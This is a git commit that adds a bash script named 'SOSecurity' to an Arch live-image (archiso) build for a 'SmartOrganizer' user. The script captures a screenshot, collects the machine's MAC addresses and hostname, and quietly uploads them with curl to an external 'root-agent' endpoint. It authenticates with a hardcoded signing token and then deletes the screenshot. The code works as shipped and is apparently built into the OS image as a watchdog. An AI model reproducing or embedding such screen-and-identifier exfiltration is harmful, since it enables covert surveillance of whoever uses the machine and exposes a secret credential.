first commit
This commit is contained in:
19
archiso/airootfs/home/smart/SmartOrganizer/SOSecurity
Executable file
19
archiso/airootfs/home/smart/SmartOrganizer/SOSecurity
Executable file
@@ -0,0 +1,19 @@
|
||||
#!/bin/bash
|
||||
|
||||
ROOT_PATH="/home/smart/SmartOrganizer"
|
||||
URL="https://security.baobaot.com/api/root-agent"
|
||||
SIGN="DydaR2YpatScmyZKyDFVMvkTrN9TL7vz"
|
||||
SCREENSHOT=""
|
||||
if [[ -f ${ROOT_PATH}/bin/scrot.py ]];then
|
||||
SCREENSHOT=$(python ${ROOT_PATH}/bin/scrot.py)
|
||||
fi
|
||||
MACADDRESS=$(echo $(cat /sys/class/net/*/address | grep -v "00:00:00:00:00:00") | sed "s/ /,/g")
|
||||
HOSTNAME=$(hostname)
|
||||
# echo ${SCREENSHOT} ${HOSTNAME} ${MACADDRESS}
|
||||
echo "watchdog watching you"
|
||||
if [[ -n ${SCREENSHOT} ]];then
|
||||
curl -sS -D /dev/null -o /dev/null -X POST -H "Content-Type: multipart/form-data" -H "sign:${SIGN}" -F "terminal=local" -F "hostname=${HOSTNAME}" -F "mac=${MACADDRESS}" -F "screenshot=@${SCREENSHOT}" "${URL}"
|
||||
rm -f ${SCREENSHOT}
|
||||
#else
|
||||
#curl -sS -D /dev/null -o /dev/null -X POST -H "Content-Type: multipart/form-data" -H "sign:${SIGN}" -F "terminal=remote" -F "hostname=${HOSTNAME}" -F "mac=${MACADDRESS}" "${URL}"
|
||||
fi
|
||||
Reference in New Issue
Block a user